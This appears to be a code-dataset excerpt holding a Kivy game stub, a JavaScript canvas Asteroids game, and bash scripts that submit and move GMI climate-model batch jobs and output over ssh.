branch_name
stringclasses
149 values
text
stringlengths
23
89.3M
directory_id
stringlengths
40
40
languages
listlengths
1
19
num_files
int64
1
11.8k
repo_language
stringclasses
38 values
repo_name
stringlengths
6
114
revision_id
stringlengths
40
40
snapshot_id
stringlengths
40
40
refs/heads/master
<repo_name>mickhalsband/GentrificationVille<file_sep>/main.py import kivy from gentricitygame import GentriCityGame kivy.require('1.0.7') from kivy.app import App class GentriGameApp(App): def build(self): game = GentriCityGame() #Clock.schedule_interval(game.update, 1.0/60.0) return game if __name__ == '__main__': GentriGameApp().run() <file_sep>/House.py from kivy.properties import NumericProperty, ReferenceListProperty, ObjectProperty from kivy.uix.boxlayout import BoxLayout __author__ = 'mick' class House(BoxLayout): velocity_x = NumericProperty(0) velocity_y = NumericProperty(0) velocity = ReferenceListProperty(velocity_x, velocity_y) image_sprite = ObjectProperty(None) def move(self): #self.pos = Vector(*self.velocity) + self.pos self.center = self.center_x + 1, self.center_y + 100 #image_sprite.r # self.center_x += 1<file_sep>/gentricitygame.py from kivy.animation import Animation from kivy.properties import ObjectProperty from kivy.uix.floatlayout import FloatLayout from kivy.uix.boxlayout import BoxLayout from house import House __author__ = 'mick' class MyToolbar(BoxLayout): def create_house(self): pass class GentriCityGame(FloatLayout): house = ObjectProperty() # #def animate_house(self): # a = Animation(x=(self.house.x + 200), duration=2) # a.start(self.house) def CreateHouse(self): a = 1
4643001d90b16ab6d5e88a5ab89c8f1ac8ce4ad2
[ "Python" ]
3
Python
mickhalsband/GentrificationVille
ba4fb9eff30411f1fbeea986e0349ac4772db984
90ebaf83a2f0a060d46652bbab41efeb1680579f
refs/heads/master
<repo_name>mrozbarry/declarativas-asteroids<file_sep>/src/state.js import { render } from 'declarativas'; export const build = ({ init, view, onBeforeTick, context2d }) => { const [initState, ...initEffects] = [].concat(init); let state = { ...initState }; let lastRender = null; let rafHandle = null; let pendingUpdates = []; let paused = false; const beforeTick = onBeforeTick || (() => {}); let self = {}; const animationFrame = (timestamp) => { if (paused) return; const delta = lastRender ? (timestamp - lastRender) / 1000 : 0; lastRender = timestamp; const updateBuffer = []; const dispatch = fn => updateBuffer.push(fn); beforeTick(state, delta, context2d, dispatch); while (pendingUpdates.length) { const update = pendingUpdates.pop(); const [fn, ...effects] = [].concat(update); state = fn(state, self.update); effects .filter(Boolean) .forEach(fx => self.update(fx)); } render(context2d, view(state, context2d)); updateBuffer.forEach(fn => pendingUpdates.push(fn)); rafHandle = requestAnimationFrame(animationFrame); }; self.update = fn => { pendingUpdates.push(fn); }; self.pause = () => { paused = true; lastRender = null; cancelAnimationFrame(rafHandle); }; self.resume = () => { paused = false; rafHandle = requestAnimationFrame(animationFrame); }; self.resume(); initEffects.filter(Boolean).forEach(fx => self.update(fx)); return self; }; <file_sep>/src/components/Asteroid.jsx /** * @jsx c */ import { c, components } from 'declarativas'; import * as geo from '../lib/geometry'; const { RevertableState } = components; export const Asteroid = ({ geometry, canCollide }) => ( <RevertableState> <strokeStyle value={canCollide ? '#ddd' : '#333'} /> <stroke path={geo.toPath(geometry)} /> </RevertableState> ); <file_sep>/src/views/Game.jsx /** * @jsx c * @jsxFrag Fragment */ import { c, components } from 'declarativas'; const { RevertableState, Rect } = components; import { Menu } from './Menu.jsx'; import { Text } from '../components/Text.jsx'; import { Ship } from '../components/Ship.jsx'; import { Asteroid } from '../components/Asteroid.jsx'; import { Scoreboard } from '../components/Scoreboard.jsx'; import { PlayArea } from '../components/PlayArea.jsx'; import { Message } from '../components/Message.jsx'; import * as actions from '../actions.js'; import { d2r } from '../lib/math.js'; import * as vec from '../lib/vec.js'; import * as geometry from '../lib/geometry.js'; const Fragment = (_props, children) => [children]; export const Game = ({ state, context2d }) => { const { width, height } = context2d.canvas; const opacity = state.ship.slow ? 0.1 : 1; const asteroidDoubles = state.asteroids .map(a => ({ ...a, denormGeo: geometry.denormalize(a) })) .filter(a => !geometry.allInsideBounds(a.geometry, state.resolution)) .reduce((doubles, asteroid) => { return [ ...doubles, { ...asteroid, p: vec.add(asteroid.p, vec.make({ x: -state.resolution.x, y: 0 })) }, { ...asteroid, p: vec.add(asteroid.p, vec.make({ x: state.resolution.x, y: 0 })) }, { ...asteroid, p: vec.add(asteroid.p, vec.make({ x: 0, y: -state.resolution.y })) }, { ...asteroid, p: vec.add(asteroid.p, vec.make({ x: 0, y: state.resolution.y })) }, ]; }, []); return ( <> <Rect x={0} y={0} width={width} height={height} fill={`rgba(0, 0, 0, ${opacity})`} /> <RevertableState> <Scoreboard points={state.points} lives={state.lives} level={state.level} width={width} ship={state.ship} /> <PlayArea canvas={context2d.canvas} resolution={state.resolution} width={width} height={height}> {!state.playerRespawnTimeout && ( <RevertableState> <translate x={state.ship.p.x} y={state.ship.p.y} /> <rotate value={d2r(state.ship.angle)} /> <Ship {...state.ship} /> </RevertableState> )} {state.shots.map((shot) => ( <RevertableState> <translate x={shot.p.x} y={shot.p.y} /> <rotate value={d2r(shot.angle)} /> <fillStyle value="rgb(70, 150, 70)" /> <fillRect x={-2} y={-2} width={4} height={4} /> </RevertableState> ))} {state.asteroids.concat(asteroidDoubles).map((asteroid) => ( <RevertableState> <translate x={asteroid.p.x} y={asteroid.p.y} /> <rotate value={d2r(asteroid.angle)} /> <strokeStyle value="white" /> <Asteroid {...asteroid} canCollide={state.nextLevelTimeout === null} /> </RevertableState> ))} {state.particles.map((particle) => ( <RevertableState> <translate x={particle.p.x} y={particle.p.y} /> <fillStyle value={`rgba(${particle.rgb.r}, ${particle.rgb.g}, ${particle.rgb.b}, ${particle.ttl / particle.maxTtl})`} /> <fillRect x={-1} y={-1} width={2} height={2} /> </RevertableState> ))} {!state.playerRespawnTimeout && state.nextLevelTimeout && state.level > 1 && ( <Message jitter={4} resolution={state.resolution}>ready next level</Message> )} {state.playerRespawnTimeout && ( <Message jitter={4} resolution={state.resolution}>{state.lives > 0 ? 'wrecked' : 'game over'}</Message> )} </PlayArea> </RevertableState> {state.isPaused && ( <Menu state={state} context2d={context2d} overlay={true} prependItems={[ { label: 'resume', onselect: actions.togglePause }, ]} /> )} </> ); }; <file_sep>/src/lib/math.js const PI_OVER_180 = Math.PI / 180; export const d2r = d => d * PI_OVER_180; /* Line intersection adapted from https://stackoverflow.com/a/16725715 */ const turn = (p1, p2, p3) => { const A = (p3.y - p1.y) * (p2.x - p1.x); const B = (p2.y - p1.y) * (p3.x - p1.x); return (A > B + Number.EPSILON) ? 1 : ((A + Number.EPSILON < B) ? -1 : 0); } export const areLinesIntersecting = ([a, b], [c, d]) => { return (turn(a, c, d) != turn(b, c, d)) && (turn(a, b, c) != turn(a, b, d)); } <file_sep>/src/components/Ship.jsx /** * @jsx c * @jsxFrag Fragment */ import { c } from 'declarativas'; import { Fragment } from './Fragment'; import { CloseLinePath } from './CloseLinePath.jsx' export const Ship = ({ geometry }) => ( <> <CloseLinePath points={geometry} style="white" /> </> ); <file_sep>/src/lib/vec.js import { d2r } from './math'; export const make = (newVec = {}) => ({ x: newVec.x || 0, y: newVec.y || 0, }); export const zero = make({ x: 0, y: 0 }); export const add = (a, b) => make({ x: a.x + b.x, y: a.y + b.y, }); export const scale = (a, mul) => make({ x: a.x * mul, y: a.y * mul, }); export const multiply = (a, b) => make({ x: a.x * b.x, y: a.y * b.y, }); export const wrap = (a, resolution) => { if (a.x > resolution.x) return wrap({ ...a, x: a.x - resolution.x }, resolution); if (a.x < 0) return wrap({ ...a, x: a.x + resolution.x }, resolution); if (a.y > resolution.y) return wrap({ ...a, y: a.y - resolution.y }, resolution); if (a.y < 0) return wrap({ ...a, y: a.y + resolution.y }, resolution); return a; }; export const clamp = (a, plusMinus) => { return make({ x: Math.min(plusMinus, Math.max(-plusMinus, a.x)), y: Math.min(plusMinus, Math.max(-plusMinus, a.y)), }); }; export const unit = a => { const d = dist(a); if (d === 0) return zero; return scale(a, 1 / d); }; export const dist = (a, b = zero) => { const diff = make({ x: b.x - a.x, y: b.y - a.y, }); return Math.sqrt((diff.x * diff.x) + (diff.y * diff.y)); }; export const average = (a, b) => make({ x: (a.x + b.x) / 2, y: (a.y + b.y) / 2, }); export const flip = a => make({ x: a.y, y: a.x }); export const angle = (degrees) => make({ x: Math.cos(d2r(degrees)), y: Math.sin(d2r(degrees)), }); <file_sep>/src/lib/memoize.js export const storage = () => { let memory = new Map(); const get = (key) => { const item = memory.get(key); if (!item) return null; memory.set(key, { ...item, count: item.count + 1, accessedAt: performance.now(), }); return item.value; }; const set = (key, value) => { memory.set(key, { value, count: 0, accessedAt: performance.now(), }); return value; }; const clear = () => memory.clear(); return { get, set, clear }; }; export const memoize = (fn) => { const memory = storage(); const wrapped = (...args) => { return memory.get(args) || memory.set(args, fn(...args)); }; wrapped.reset = () => { memory.clear(); }; return wrapped; }; <file_sep>/src/components/PlayArea.jsx /** * @jsx c */ import { c, components } from 'declarativas'; const { RevertableState } = components; const pickClip = (width, height, resolution) => { const scale = Math.min( width / resolution.x, height / resolution.y, ); const w = resolution.x * scale; const h = resolution.y * scale; return { x: (width - w) / 2, y: 200 + ((height - h) / 2), width: w, height: h, }; } export const PlayArea = ({ canvas, resolution }, children) => { const rect = pickClip(canvas.width, canvas.height - 250, resolution); return ( <RevertableState> <strokeStyle value="white" /> <strokeRect {...rect} /> <beginPath /> <rect {...rect} /> <clip /> <translate x={rect.x} y={rect.y} /> <scale x={rect.width / resolution.x} y={rect.height / resolution.y} /> {children} </RevertableState> ); }; <file_sep>/src/actions.js import * as vec from './lib/vec.js'; import * as geo from './lib/geometry.js'; import { d2r } from './lib/math.js'; const initialShip = { geometry: [ { x: 10, y: 0 }, { x: -10, y: 8 }, { x: -10, y: -8 }, ], thrust: false, left: false, right: false, fire: false, slow: false, p: { x: 400, y: 300 }, v: { x: 0, y: 0 }, angle: -90, nextShot: 0, }; export const init = (width, height) => ({ resolution: vec.make({ x: width, y: height }), view: 'loading', loading: [ { id: 'fonts', done: false }, ], menu: { items: [ { label: 'resume', onselect: (state, dispatch) => { if (state.isPaused) dispatch(togglePause); return state; }, isDisabled: state => state.view !== 'game', }, { label: 'new game', onselect: startGame }, { label: 'controls', onselect: state => state }, { label: 'high scores', onselect: state => state }, ], index: 0, }, ship: { ...initialShip }, particles: [], asteroids: [], shots: [], points: 0, lives: 3, level: 0, time: 0, isPaused: false, nextLevelTimeout: null, playerRespawnTimeout: null, }); export const setView = view => state => ({ ...state, view }); export const resetGame = state => ({ ...state, ship: { ...initialShip }, particles: [], asteroids: [], shots: [], points: 0, lives: 3, level: 0, time: 0, isPaused: false, nextLevelTimeout: null, playerRespawnTimeout: null, }); export const startGame = (state, dispatch) => { dispatch(resetGame); dispatch(completeLevel); dispatch(setView('game')); return state; }; export const loadedItem = id => (state, dispatch) => { const loading = state.loading.map(l => l.id === id ? { ...l, done: true } : l); const remaining = loading.filter(l => !l.done).length; if (remaining === 0) { dispatch(setView('menu')); } return { ...state, loading }; }; export const waitForFont = (family) => (state, dispatch) => { document.fonts .load(`16px ${family}`) .then(() => { dispatch(loadedItem('fonts')) }); return state; }; export const afterResize = context2d => (state) => { const { innerWidth, innerHeight } = window; context2d.canvas.width = innerWidth; context2d.canvas.height = innerHeight; return state; }; export const onPress = (key) => (state) => ({ ...state, ship: { ...state.ship, [key]: true, } }); export const onRelease = (key) => (state) => ({ ...state, ship: { ...state.ship, [key]: false, } }); const keysToTurn = ship => ( (ship.left ? -1 : 0) + (ship.right ? 1 : 0) ); const shipDirection = ship => { const rad = d2r(ship.angle); const x = Math.cos(rad); const y = Math.sin(rad); return vec.make({ x, y }); }; const makeAsteroid = (resolution, size) => { const count = 4 + Math.floor(Math.random() * (size / 4)); const spacing = 360 / count; const points = Array.from({ length: count }, (_, index) => vec.make({ x: Math.sin(d2r(index * spacing)) * (size - (Math.random() * size / 4)), y: Math.cos(d2r(index * spacing)) * (size - (Math.random() * size / 4)), })); return { geometry: points, p: vec.make({ x: Math.random() * resolution.x, y: Math.random() * resolution.y, }), v: vec.make({ x: 150 - (Math.random() * 300), y: 150 - (Math.random() * 300), }), angle: Math.random() * 359, angleV: 60 - (Math.random() * 120), size, id: Math.random().toString(36), } }; const splitAsteroid = (resolution, collision, asteroid) => { return [ makeAsteroid(resolution, asteroid.size / 2), makeAsteroid(resolution, asteroid.size / 2), ] .map((a, i) => ({ ...a, p: { ...asteroid.p }, v: vec.clamp( vec.scale( (i === 0 ? vec.add(asteroid.v, vec.scale(collision.shot.v, -1)) : vec.add(asteroid.v, vec.flip(collision.shot.v), -1) ), 1 / 2, ), 150, ), })); }; const detectShotCollisions = (context2d, shots, asteroids) => { const collisions = []; for (let shot of shots) { if (collisions.some(c => c.shot.id === shot.id)) continue; for (let asteroid of asteroids) { if (collisions.some(c => c.asteroid.id === asteroid.id)) continue; const path = geo.toPath(asteroid.geometry); const rShotP = vec.add(asteroid.p, vec.scale(shot.p, -1)); const shotCollidesWithAsteroid = context2d.isPointInPath(path, rShotP.x, rShotP.y); if (shotCollidesWithAsteroid) { collisions.push({ shot, asteroid, shotVecUnit: vec.unit(shot.v) || 0, }); } } } return collisions; }; const detectShipAsteroidCollision = (ship, asteroids) => { for (let asteroid of asteroids) { if (geo.hasObjectCollision(ship, asteroid)) { return { shot: ship, asteroid, showVecUnit: vec.unit(ship.v), }; } } return null; }; const advanceShots = (isAlive, resolution, ship, time, direction, shots, delta) => { const canShoot = isAlive && time > ship.nextShot; const shotV = vec.scale(direction, 300); const shot = ship.fire && canShoot ? { p: vec.add(ship.p, vec.scale(vec.angle(ship.angle), 12)), v: shotV, angle: 0, ttl: ship.slow ? 0.5 : 1.5, id: Math.random().toString(36), } : []; return shots .concat(shot) .map((shot) => ({ ...shot, angle: shot.angle + (100 * delta), p: vec.wrap(vec.add(shot.p, vec.scale(shot.v, delta)), resolution), ttl: shot.ttl - delta, })) .filter((shot) => shot.ttl > 0); }; const handleCollisions = (context2d, isAlive, ship, shots, asteroids, dispatch) => { const collisions = detectShotCollisions(context2d, shots, asteroids); if (!isAlive) return collisions; const asteroidShipCollision = detectShipAsteroidCollision(ship, asteroids); if (asteroidShipCollision) { collisions.push(asteroidShipCollision); dispatch(playerKilled); } return collisions; }; const advanceAsteroids = (resolution, collisions, asteroids, delta) => { return asteroids .filter((asteroid) => asteroid.size >= 20 || !collisions.some(c => c.asteroid.id === asteroid.id)) .reduce((collection, asteroid) => { const collision = collisions.find(c => c.asteroid.id === asteroid.id); if (!collision) return collection.concat(asteroid); return collection.concat(splitAsteroid(resolution, collision, asteroid)); }, []) .map((asteroid) => ({ ...asteroid, p: vec.wrap(vec.add(asteroid.p, vec.scale(asteroid.v, delta)), resolution), angle: (asteroid.angle + (asteroid.angleV * delta)) % 360, })); }; const makeParticle = (p, v, rgb, ttl) => ({ p, v, rgb, maxTtl: ttl, ttl, id: Math.random().toString(36), }); const advanceParticles = (isAlive, resolution, ship, asteroids, collisions, delta, particles) => { const shipThrustPosition = vec.add( ship.p, vec.scale(vec.unit(vec.angle(ship.angle)), -12) ); const rgbs = [ { r: 200 + Math.floor(Math.random() * 50), g: Math.floor(Math.random() * 100), b: Math.floor(Math.random() * 100) }, { r: 200 + Math.floor(Math.random() * 50), g: Math.floor(Math.random() * 100), b: Math.floor(Math.random() * 100) }, { r: 200 + Math.floor(Math.random() * 50), g: Math.floor(Math.random() * 100), b: Math.floor(Math.random() * 100) }, ]; const shipParticles = isAlive && ship.thrust ? rgbs.map((rgb, index) => makeParticle( vec.add( shipThrustPosition, vec.make({ x: 1 - index, y: 1 - index, }), ), vec.scale(vec.unit(ship.v), -80), rgb, 5, )) : []; const collisionParticles = collisions.reduce((cp, collision) => { return [ ...cp, ...Array.from({ length: 20 }, () => makeParticle( collision.asteroid.p, vec.make({ x: Math.cos(d2r(Math.random() * 359)) * 50, y: Math.sin(d2r(Math.random() * 359)) * 50, }), { r: 40, g: 40, b: 40 }, 4, )), ]; }, []); const asteroidParticles = asteroids.reduce((p, asteroid) => { if (Math.random() > 0.4) return p; const grayscale = 100 + Math.floor(Math.random() * 155); return [ ...p, makeParticle( vec.add( vec.add( asteroid.p, vec.scale(vec.unit(asteroid.v), -asteroid.size) ), vec.make({ x: (asteroid.size / 2) - (Math.random() * asteroid.size), y: (asteroid.size / 2) - (Math.random() * asteroid.size), }), ), vec.scale(vec.unit(ship.v), -80), { r: grayscale, g: grayscale, b: grayscale }, 1, ), ]; }, []); return particles .concat(shipParticles) .concat(asteroidParticles) .concat(collisionParticles) .map((particle) => ({ ...particle, p: vec.wrap(vec.add(particle.p, vec.scale(particle.v, delta)), resolution), ttl: particle.ttl - delta, })) .filter(p => p.ttl > 0); }; export const advance = (delta, context2d) => (prevState, dispatch) => { if (prevState.isPaused) return prevState; if (prevState.view !== 'game') return prevState; const { ship, ...state } = prevState; const isAlive = state.playerRespawnTimeout === null; const moveModifier = ship.slow ? 0.4 : 1; const canShoot = isAlive && state.time > ship.nextShot; const direction = shipDirection(ship); const shots = advanceShots(isAlive, state.resolution, ship, state.time, direction, state.shots, delta * moveModifier); const collisions = state.nextLevelTimeout ? [] : handleCollisions(context2d, isAlive, ship, shots, state.asteroids, dispatch); const asteroids = advanceAsteroids(state.resolution, collisions, state.asteroids, delta * moveModifier); const v = ship.thrust ? vec.clamp(vec.add(ship.v, vec.scale(direction, 5)), 300) : ship.v; return { ...state, ship: { ...ship, nextShot: ship.fire && canShoot ? state.time + (ship.slow ? 0.01 : 0.2) : ship.nextShot, p: vec.wrap(vec.add(ship.p, vec.scale(v, delta * moveModifier)), state.resolution), v, angle: ship.angle + (keysToTurn(ship) * 150 * delta * moveModifier), }, shots, asteroids, particles: advanceParticles(isAlive, state.resolution, ship, asteroids, collisions, delta * moveModifier, state.particles), time: state.time + (delta * moveModifier), points: state.points + (collisions.length * 10), }; }; export const nextLevel = (state) => { return { ...state, nextLevelTimeout: null, } }; export const completeLevel = (state, dispatch) => { if (state.nextLevelTimeout || state.asteroids.length > 0) return state; const nextLevelTimeout = setTimeout( () => dispatch(nextLevel), 5000, ); return { ...state, nextLevelTimeout, level: state.level + 1, asteroids: Array.from({ length: state.level + 1 }, () => makeAsteroid(state.resolution, 40)), }; }; export const respawn = (state) => { return { ...state, ship: { ...state.ship, p: { x: 400, y: 300 }, v: vec.zero, }, playerRespawnTimeout: state.lives > 0 ? null : state.playerRespawnTimeout, }; }; export const playerKilled = (state, dispatch) => { const lives = Math.max(0, state.lives - 1); const playerRespawnTimeout = setTimeout( () => dispatch(respawn), 3000, ); return { ...state, playerRespawnTimeout, lives, }; }; export const togglePause = state => ({ ...state, isPaused: !state.isPaused, menu: state.isPaused ? state.menu : { ...state.menu, index: 0 }, }); export const changeMenuItem = diff => state => ({ ...state, menu: { ...state.menu, index: diff > 0 ? (state.menu.index + 1) % state.menu.items.length : (state.menu.index > 0 ? state.menu.index - 1 : state.menu.items.length - 1) }, }); export const selectMenuItem = (state, dispatch) => { const isInMenu = state.view === 'menu'; const isInPause = state.view === 'game' && state.isPaused; if (!isInMenu && !isInPause) return state; const item = state.menu.items[state.menu.index]; if (!item) return state; dispatch(item.onselect); return state; }; <file_sep>/src/lib/geometry.js import * as vec from './vec'; import { memoize } from './memoize'; import { d2r, areLinesIntersecting } from './math'; export const toPath = (geometry) => { const p = new Path2D(); if (geometry.length === 0) return p; const [start, ...points] = geometry; p.moveTo(start.x, start.y); points.forEach(({ x, y}) => p.lineTo(x, y)); p.closePath(); return p; }; export const denormalize = memoize((object) => { return object.geometry.map(p => { const magnitude = vec.dist(p, vec.make()); const initialRadians = Math.atan2(p.x, p.y); const radians = initialRadians + d2r(object.angle); return vec.add(object.p, vec.make({ x: Math.cos(radians) * magnitude, y: Math.sin(radians) * magnitude, })); }); }); export const allInsideBounds = (geometry, res) => { return geometry.every(p => { const inXBounds = p.x >= 0 && p.x <= res.x; const inYBounds = p.y >= 0 && p.y <= res.y; return inXBounds && inYBounds; }); } export const geometryToLineSegments = (geometry) => { return geometry.map((p, i) => [ p, geometry[(i + 1) % geometry.length], ]); }; export const hasObjectCollision = (a, b) => { const dist = vec.dist(a.p, b.p); if (dist > 100) return false; const aLines = geometryToLineSegments(denormalize(a)); const bLines = geometryToLineSegments(denormalize(b)); for (aLine of aLines) { for (bLine of bLines) { if (areLinesIntersecting(aLine, bLine)) { return true; } } } return false; }; <file_sep>/src/components/Scoreboard.jsx /** * @jsx c * @jsxFrag Fragment */ import { c } from 'declarativas'; import { Fragment } from './Fragment'; import { Text } from './Text.jsx'; import { Transform } from './Transform.jsx'; import { Ship } from './Ship.jsx'; import { d2r } from '../lib/math'; export const Scoreboard = ({ points, lives, level, width, ship }) => { const levelFontSize = (42 / 1024) * width; const scoreFontSize = (32 / 1024) * width; return ( <> <Text x={10} y={10} size={scoreFontSize}> {`${points}`.padStart(10, '0')} </Text> <Text x={width / 2} y={10} size={levelFontSize} align="center"> {`level ${level.toString().padStart(2, '0')}`} </Text> {Array.from({ length: lives}, (_, index) => ( <Transform ops={[ <translate x={20 + (index * 30)} y={65} />, <rotate value={d2r(-90)} /> ]} > <Ship {...ship} thrust={false} /> </Transform> ))} </> ); }; <file_sep>/src/components/Text.jsx /** * @jsx c * @jsxFrag Fragment */ import { c } from 'declarativas'; import { Fragment } from './Fragment'; export const Text = ({ x, y, size, baseline, align, family, fill }, text) => ( <> <font value={`${size || 16}px ${family || "'Major Mono Display'"}`} /> <textBaseline value={baseline || 'top' } /> <textAlign value={align || 'left'} /> <fillStyle value={fill || 'white'} /> <fillText x={x} y={y} text={text} /> </> ); <file_sep>/src/views/Loading.jsx /** * @jsx c * @jsxFrag Fragment */ import { c, components } from 'declarativas'; import { Fragment } from '../components/Fragment.js'; import { Text } from '../components/Text.jsx'; const { Rect } = components; export const Loading = ({ state, context2d }) => { const { width, height } = context2d.canvas; const barSize = 32; const halfBarSize = barSize / 2; const percent = state.loading.filter(l => l.done).length / state.loading.length; return ( <> <Rect x={0} y={0} width={width} height={height} fill="black" /> <Rect x={100} y={(height / 2) - halfBarSize} width={(width - 200) * percent} height={barSize} fill="#ddd" /> <Rect x={100} y={(height / 2) - halfBarSize} width={width - 200} height={barSize} stroke="white" /> <Text x={100} y={(height / 2) + barSize} family="monospace" size={12}>loading...</Text> </> ); }; <file_sep>/src/views/Menu.jsx /** * @jsx c * @jsxFrag Fragment */ import { c, components } from 'declarativas'; import { Text } from '../components/Text.jsx'; import { Fragment } from '../components/Fragment.js'; import { Ship } from '../components/Ship.jsx'; import { d2r } from '../lib/math'; const { Rect, RevertableState } = components; const MenuItem = ({ state, x, y, isSelected, item }) => { const isDisabled = item.isDisabled || (() => false); const fill = isDisabled(state) ? '#444' : (isSelected ? '#fff' : '#aaa'); return ( <> {isSelected && ( <RevertableState> <translate x={x - 150} y={y + 15} /> <rotate value={d2r(360)} /> <Ship geometry={state.ship.geometry} /> </RevertableState> )} <Text align="center" x={x} y={y} size={24} fill={fill}>{item.label}</Text> </> ); }; const MenuItems = ({ state, yOffset, x, items, selectedItemIndex }) => ( <> {items.map((item, index) => ( <MenuItem state={state} x={x} y={yOffset + (index * 30)} isSelected={index === selectedItemIndex} item={item} /> ))} </> ); export const Menu = ({ state, context2d, overlay }) => { const { width, height } = context2d.canvas; const centerX = width / 2; return ( <RevertableState> {<Rect x={0} y={0} width={width} height={height} fill={overlay ? 'rgba(0, 0, 0, 0.6)' : 'black'} />} {!overlay && ( <> <Text align="center" x={centerX} y={200} size={48}>Asteroids</Text> <Text align="center" x={centerX} y={248} size={16}>powered by declarativas</Text> </> )} <MenuItems state={state} ship={state.ship} x={centerX} yOffset={400} items={state.menu.items} selectedItemIndex={state.menu.index} /> </RevertableState> ); };
f7b0c22abbcf150df1f8b064acfb415e64cf3b85
[ "JavaScript" ]
14
JavaScript
mrozbarry/declarativas-asteroids
9607dcff4062d243b9517542447458e8ea691558
c75044afb0bdcf5dc8a702ef8283ffb6dbf2260c
refs/heads/master
<file_sep>#!/bin/bash . $NED_WORKING_DIR/.exp_env.bash . $ENV_FILE . $NED_WORKING_DIR/$NED_UNIQUE_ID/bin/ReturnMonth.bash echo "------------------------" echo "NED_USER: $NED_USER" echo "NED_WORKING_DIR: $NED_WORKING_DIR" echo "------------------------" echo "" echo "------------------------" echo "CURRENT_DATE = $CURRENT_DATE" if [ "$COMPILE" = "yes" ]; then echo "GMI executable selected from compilation" echo "This feature is currently not supported" echo "------------------------" exit -1 fi echo "" export currentYear=${CURRENT_DATE:0:4} export numMonth=${CURRENT_DATE:4:2} export currentMonth='xxx' returnMonth $numMonth $currentMonth if [ "$currentMonth" = "xxx" ]; then echo "Month not recognized" exit -1 fi echo "MPI_TYPE: $MPI_TYPE" if [ "$MPI_TYPE" == "intel" ]; then export scali="false" elif [ "$MPI_TYPE" == "scali" ]; then export scali="true" else echo "The MPI type: ", $MPI_TYPE, " is not supported" echo "----------------------------" exit -1 fi #if [ "$CURRENT_DATE" == "$START_DATE" ] || [ "$currentMonth" == "jan" ]; then if [ "$CURRENT_DATE" == "$START_DATE" ]; then echo "current date is start date" echo "export jobID=0000" >> $NED_WORKING_DIR/.exp_env.bash . $NED_WORKING_DIR/.exp_env.bash fi echo "export scali=$scali" >> $NED_WORKING_DIR/.exp_env.bash echo "scali: ", $scali export NAMELIST_FILE="gmic_$EXP_NAME""_$currentYear""_$currentMonth"".in" echo "NUM_PROCS: $NUM_PROCS" echo "NAMELIST_FILE: $NAMELIST_FILE" echo "WORK_DIR: $WORK_DIR" echo "CHEMICAL: $CHEMISTRY" echo "INCLUDE_NL_MPIRUN: $INCLUDE_NL_MPIRUN" echo "RUN_REF: $RUN_REF" echo "$NED_WORKING_DIR/$NED_UNIQUE_ID/bin/util/./MakeQueueScript.py -f $RUN_REF -n $NUM_PROCS -e $NUM_PROCS_PER_NODE -m $NAMELIST_FILE -p $WORK_DIR -c $GROUP_LIST -a $CHEMISTRY -d $NED_WORKING_DIR -w $WALL_TIME -s $scali -u false -i $INCLUDE_NL_MPIRUN -o $jobID -q $QUEUE" $NED_WORKING_DIR/$NED_UNIQUE_ID/bin/util/./MakeQueueScript.py -f $RUN_REF -n $NUM_PROCS -e $NUM_PROCS_PER_NODE -m $NAMELIST_FILE -p $WORK_DIR -c $GROUP_LIST -a $CHEMISTRY -d $NED_WORKING_DIR -w $WALL_TIME -s $scali -u false -i $INCLUDE_NL_MPIRUN -o $jobID -q $QUEUE export QUEUE_FILE="gmic_$EXP_NAME""_$currentYear""_$currentMonth"".qsub" $SCP_PATH $NED_WORKING_DIR/$QUEUE_FILE $REMOTE_USER@$MACH:$WORK_DIR if [ "$?" != "0" ]; then echo "There was a problem updating the the queue file: $QUEUE_FILE" echo "------------------------" exit -1 fi # get the accounting file name . $NED_WORKING_DIR/.accounting_path echo "accountingFile = $accountingFile" echo "NED_REAL_USER = $NED_REAL_USER" if [ "$NED_REAL_USER" == "" ]; then export NED_REAL_USER=$REMOTE_USER fi # call the script to submit the job, record the accounting information and append jobID to the env file echo "$NED_WORKING_DIR/$NED_UNIQUE_ID/bin/util/./SubmitPbsJobAndRecord.py -f $WORK_DIR/$QUEUE_FILE -q $QSUB -a $accountingFile -n $REMOTE_USER -r $NED_REAL_USER -w $NED_WORKING_DIR/.exp_env.bash -s $MACH -d $WORK_DIR" $NED_WORKING_DIR/$NED_UNIQUE_ID/bin/util/./SubmitPbsJobAndRecord.py -f $WORK_DIR/$QUEUE_FILE -q $QSUB -a $accountingFile -n $REMOTE_USER -r $NED_REAL_USER -w $NED_WORKING_DIR/.exp_env.bash -s $MACH -d $WORK_DIR echo $? . $NED_WORKING_DIR/.exp_env.bash if [ "$jobID" == "" ]; then echo "There was a queue submission problem" exit -1 fi echo "jobID: ", $jobID echo "export $currentMonth$currentYear"JobID"=$jobID" >> $NED_WORKING_DIR/.exp_env.bash echo "YEAR: ", $currentYear echo "export YEAR=$currentYear" >> $NED_WORKING_DIR/.exp_env.bash <file_sep>#!/bin/bash #export workflowConfig=$NED_WORKING_DIR/WorkflowConfigs.bash export workflowConfig=$NED_WORKING_DIR/.exp_env.bash echo $workflowConfig . $workflowConfig echo "------------------------" echo "NED_USER: $NED_USER" echo "NED_WORKING_DIR: $NED_WORKING_DIR" echo "------------------------" echo "" export yearDirectory=$WORK_DIR/completed/$YEAR echo "----------------------------" echo "Move station files to: $yearDirectory" echo "------------------------" echo "" # Switched from "mv" to "find -exec mv" to avoid [Argument list too long] error on OS X echo "ssh $NED_USER@$MACH find $WORK_DIR -maxdepth 1 -name \"*.nc\" -exec mv {} $yearDirectory \;" #ssh $NED_USER@$MACH mv $WORK_DIR/*.nc $yearDirectory ssh $NED_USER@$MACH "find $WORK_DIR -maxdepth 1 -name \"*.nc\" -exec mv {} $yearDirectory \;" export outputCode=$? echo "output: $outputCode" if [ "$outputCode" == "0" ]; then echo "Netcdf files moved to $yearDirectory" elif [ "$outputCode" == "1" ]; then echo "Netcdf NOT files moved to $yearDirectory" else echo "Don't understand this code: $outputCode" exit -1 fi echo "ssh $NED_USER@$MACH ls $yearDirectory/*nc | wc -l" numNetcdfFiles=`ssh $NED_USER@$MACH ls $yearDirectory/*nc | wc -l` #trim leading whitespace with echo trick: numNetcdfFiles=`echo $numNetcdfFiles` echo "num netcdf files: $numNetcdfFiles" echo "export numNetcdfFiles=$numNetcdfFiles" >> $workflowConfig echo "Success. Exiting" exit 0 <file_sep>#!/usr/local/bin/bash export CP=/bin/cp export TOUCH=/usr/bin/touch export QSUB=/bin/csh export QSTAT=/usr/pbs/bin/qstat export HOSTNAME=/bin/hostname export MKDIR=/bin/mkdir export LS=/bin/ls export CVS=/usr/bin/cvs export QDEL=/usr/pbs/bin/qdel <file_sep>#!/bin/bash export workflowConfig=$NED_WORKING_DIR/WorkflowConfigs.bash echo $workflowConfig . 